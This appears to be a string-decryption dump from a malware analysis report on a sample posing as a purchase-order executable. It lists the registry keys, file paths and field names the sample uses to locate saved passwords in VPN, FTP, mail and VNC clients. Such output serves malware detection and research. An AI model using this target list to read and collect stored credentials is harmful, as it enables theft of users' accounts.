Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \passwordstorerc
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {(.),(.)}(.*)
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Flock Browser
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Flock\Browser\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: signons3.txt
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: DynDns
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ALLUSERSPROFILE
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Dyn\Updater\config.dyndns
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: username=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: password=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: https://account.dyn.com/
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: t6KzXhCh
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ALLUSERSPROFILE
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Dyn\Updater\daemon.cfg
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: global
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: accounts
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: account.
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: username
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: account.
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Psi/Psi+
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: name
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Psi/Psi+
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Psi\profiles
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Psi+\profiles
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \accounts.xml
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \accounts.xml
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: OpenVPN
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\OpenVPN-GUI\configs
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\OpenVPN-GUI\configs
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\OpenVPN-GUI\configs\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: username
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: auth-data
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: entropy
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: USERPROFILE
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \OpenVPN\config\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: remote
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: remote
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: NordVPN
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: NordVPN
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: NordVpn.exe*
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: user.config
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: //setting[@name='Username']/value
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: //setting[@name='Password']/value
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: NordVPN
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Private Internet Access
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: %ProgramW6432%
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Private Internet Access\data
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Private Internet Access\data
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \account.json
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ."username":"(.?)"
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ."password":"(.?)"
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Private Internet Access
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: privateinternetaccess.com
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: FileZilla
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \FileZilla\recentservers.xml
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \FileZilla\recentservers.xml
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <Server>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <Host>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <Host>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </Host>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <Port>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </Port>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <User>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <User>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </User>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <Pass encoding="base64">
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <Pass encoding="base64">
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </Pass>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <Pass>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <Pass encoding="base64">
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </Pass>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: CoreFTP
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SOFTWARE\FTPWare\COREFTP\Sites
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: User
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Host
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Port
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: hdfzpysvpzimorhk
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: WinSCP
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: HostName
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UserName
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: PublicKeyFile
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: PortNumber
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: [PRIVATE KEY LOCATION: "{0}"]
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: WinSCP
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ABCDEF
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Flash FXP
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: port
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: user
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: pass
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: quick.dat
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Sites.dat
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \FlashFXP\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \FlashFXP\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: yA36zA48dEhfrvghGRg57h5UlDv3
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: FTP Navigator
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SystemDrive
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \FTP Navigator\Ftplist.txt
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Server
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: No Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: User
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SmartFTP
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: APPDATA
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SmartFTP\Client 2.0\Favorites\Quick Connect
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: WS_FTP
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: appdata
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Ipswitch\WS_FTP\Sites\ws_ftp.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: HOST
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: PWD=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: PWD=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: FtpCommander
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SystemDrive
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SystemDrive
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Program Files (x86)\FTP Commander\Ftplist.txt
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SystemDrive
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \cftp\Ftplist.txt
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files (x86)\FTP Commander\Ftplist.txt
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ;Password=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ;User=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ;Server=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ;Port=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ;Port=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ;Password=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ;User=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ;Anonymous=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: FTPGetter
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \FTPGetter\servers.xml
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <server>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <server_ip>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <server_ip>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </server_ip>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <server_port>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </server_port>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <server_user_name>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <server_user_name>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </server_user_name>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <server_user_password>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <server_user_password>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </server_user_password>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: FTPGetter
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: The Bat!
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: appdata
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \The Bat!
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Account.CFN
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Account.CFN
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Becky!
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: HKEY_CURRENT_USER\Software\RimArts\B2\Settings
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: DataDir
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Folder.lst
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Mailbox.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Account
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: PassWd
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Account
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SMTPServer
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Account
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: MailAddress
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Becky!
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Outlook
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Email
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: IMAP Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: POP3 Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: HTTP Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SMTP Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Email
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Email
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Email
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: IMAP Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: POP3 Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: HTTP Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SMTP Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Server
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Windows Mail App
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: COMPlus_legacyCorruptedStateExceptionsPolicy
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\Microsoft\ActiveSync\Partners
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Email
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Server
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SchemaId
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: pResourceElement
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: pIdentityElement
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: pPackageSid
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: pAuthenticatorElement
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: syncpassword
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: mailoutgoing
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: FoxMail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Executable
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: FoxmailPath
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Storage\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Storage\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \mail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \mail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files\Foxmail\mail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files\Foxmail\mail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files (x86)\Foxmail\mail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \VirtualStore\Program Files (x86)\Foxmail\mail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Accounts\Account.rec0
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Accounts\Account.rec0
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Account.stg
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Account.stg
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: POP3Host
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SMTPHost
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: IncomingServer
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Account
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: MailAddress
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: POP3Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Opera Mail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Opera Mail\Opera Mail\wand.dat
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Opera Mail\Opera Mail\wand.dat
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: opera:
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: abcdefghijklmnopqrstuvwxyz1234567890_-.~!@#$%^&*()[{]}\\|';:,<>/?+=
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: PocoMail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: appdata
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Pocomail\accounts.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Email
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: POPPass
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SMTPPass
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SMTP
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: eM Client
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: eM Client\accounts.dat
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: eM Client
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Accounts
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: "Username":"
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: "Secret":"
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: 72905C47-F4FD-4CF7-A489-4E8121A155BD
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: "ProviderName":"
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: o6806642kbM7c5
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Mailbird
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SenderIdentities
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Accounts
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Mailbird\Store\Store.db
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Server_Host
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Accounts
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Email
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Username
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: EncryptedPassword
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Mailbird
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: RealVNC 4.x
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SOFTWARE\Wow6432Node\RealVNC\WinVNC4
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: RealVNC 3.x
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SOFTWARE\RealVNC\vncserver
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: RealVNC 4.x
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SOFTWARE\RealVNC\WinVNC4
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: RealVNC 3.x
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\ORL\WinVNC3
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: TightVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\TightVNC\Server
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: TightVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\TightVNC\Server
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: PasswordViewOnly
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: TightVNC ControlPassword
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\TightVNC\Server
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ControlPassword
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: TigerVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\TigerVNC\Server
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
